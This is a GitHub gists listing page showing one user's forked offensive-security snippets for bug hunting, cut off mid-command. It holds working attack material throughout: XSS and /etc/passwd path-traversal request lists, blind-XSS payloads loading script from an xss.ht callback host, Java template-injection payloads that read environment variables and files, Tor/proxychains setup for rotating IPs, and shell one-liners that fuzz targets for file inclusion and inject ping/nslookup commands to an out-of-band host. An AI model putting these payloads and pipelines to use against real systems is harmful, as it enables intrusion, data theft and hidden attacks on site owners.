Skip to content

Instantly share code, notes, and snippets.

View emadshanab's full-sized avatar
🏠
Working from home

Emad Shanab emadshanab

🏠
Working from home
732 followers · 274 following
View GitHub Profile
@emadshanab
emadshanab / genymotion-cloud-display.yaml
Created October 30, 2022 21:59 — forked from drfabiocastro/genymotion-cloud-display.yaml
Genymotion device without authentication, allows attackers to control the device
id: genymotion-cloud-display
info:
name: Genymotion Cloud Display
author: drfabiocastro
severity: high
description: Genymotion device without authentication, allows attackers to control the device
metadata:
shodan-query: http.title:"Genymotion Cloud"
tags: genymotion,android
@emadshanab
emadshanab / exploit_path_traversals_in_Java_webapps.txt
Created September 22, 2022 20:23 — forked from harisec/exploit_path_traversals_in_Java_webapps.txt
quick primer on how to exploit path traversals in Java web apps (i.e. you can read WEB-INF/web.xml)
so, you can read WEB-INF/web.xml. how can you escalate this issue?
[step 1]. try to read other common Java files such as WEB-INF/web-jetty.xml.
use a specialized wordlist such as the following (from Sergey Bobrov/BlackFan):
https://github.com/BlackFan/WEB-INF-dict/blob/master/web-inf.txt
with time you can build your own wordlist adding files you've discovered over time.
use Burp Intruder for this, it's perfect for this job.
sort Intruder results by status code so you can see instantly which files were found.
@emadshanab
emadshanab / ruby-sensitive-files.txt
Created September 22, 2022 20:23 — forked from harisec/ruby-sensitive-files.txt
database.yml
database.yml_original
database.yml~
database.yml.pgsql
database.yml.sqlite3
config/database.yml
config/database.yml_original
config/database.yml~
config/database.yml.pgsql
config/database.yml.sqlite3
@emadshanab
emadshanab / requests.json
Created September 16, 2022 16:57 — forked from GuanacoDevs/requests.json
Endpoints used
[
"/ui/vropspluginui/rest/services/getstatus",
"/ghost/preview",
"/wp-admin/admin.php/%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/?page=cnss_social_icon_page",
"/maxsite/page/1%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E",
"/cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq';%7D%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E",
"/log_download.cgi?type=../../etc/passwd",
"/templates/m/inc_head.php?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E",
"/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E",
"/index.php?option=com_svmap&controller=../../../../../../../etc/passwd%00",
@emadshanab
emadshanab / xss-one-liner
Created August 28, 2022 08:07 — forked from simrotion13/xss-one-liner
#cat targets_urls.txt
http://testphp.vulnweb.com
## Command Line
gospider -S targets_urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe -o result.txt
#tool used
#https://github.com/jaeles-project/gospider
#https://github.com/tomnomnom/qsreplace
@emadshanab
emadshanab / swagger-ui nuclei module
Created August 28, 2022 08:03 — forked from kannthu/swagger-ui nuclei module
id: swagger-ui
info:
name: Swagger UI
author: vidocsecurity
severity: low
description: Swagger UI exposes information about endpoints and sometimes it is vulnerable tu XSS
tags: swagger-ui,exposure
requests:
@emadshanab
emadshanab / how to use
Created August 11, 2022 01:06 — forked from carlware/how to use
proxychains and tor (change ip ~10 seconds)
# install
sudo apt-get install proxychains
sudo apt-get install tor
# then update the files /etc/proxychains.conf and /etc/tor/torrc with the given config
# restart tor server
sudo service restart tor
@emadshanab
emadshanab / bxss-payload.txt
Created August 3, 2022 06:50 — forked from Huntinex/bxss-payload.txt
"><script src=https://username.xss.ht></script>
'><script src=https://username.xss.ht></script>
";eval('var a=document.createElement(\'script\');a.src=\'https://username.xss.ht\';document.body.appendChild(a)')
@emadshanab
emadshanab / java-ssti.md
Created July 24, 2022 04:39 — forked from kavishkagihan/java-ssti.md

  • Typically java ssti payloads start with $. But if that character is banned you can use * instead of that.

  • Get env vars

*{T(java.lang.System).getenv()}
  • Read files (/etc/passwd)
@emadshanab
emadshanab / oneliner
Created July 24, 2022 04:23 — forked from 0x3n0/oneliner
assetfinder https://exmple.com | gau --subs | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=1"><svg onload=alert(1)>/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars";done
assetfinder https://exmple.com | gau --subs https://exmple.com | gf lfi | place "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
gf lfi output/domains.txt | place FUZZ | while read url ; do ffuf -u $url -mr "root:x" -H "Host: $(hostname).burpcollab.net" -H "Referer: 8.8.8.8;ping -c 3 $(hostname).burpcollab.net" -H "X-Forwarded-Host: 8.8.8.8;nslookup+callesvmkd63gvfclgjg63ktieresg7dt.oast.online" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/101.0.4951.64 Safari/537.36" -w ~/wordlist.txt -fc 405 -mc 200,403 -ac true; done
### DNS rebinding for RCE
gf lfi output/*.txt | place FUZZ | while read url ; do ffuf -u $url -mr "root:x" -H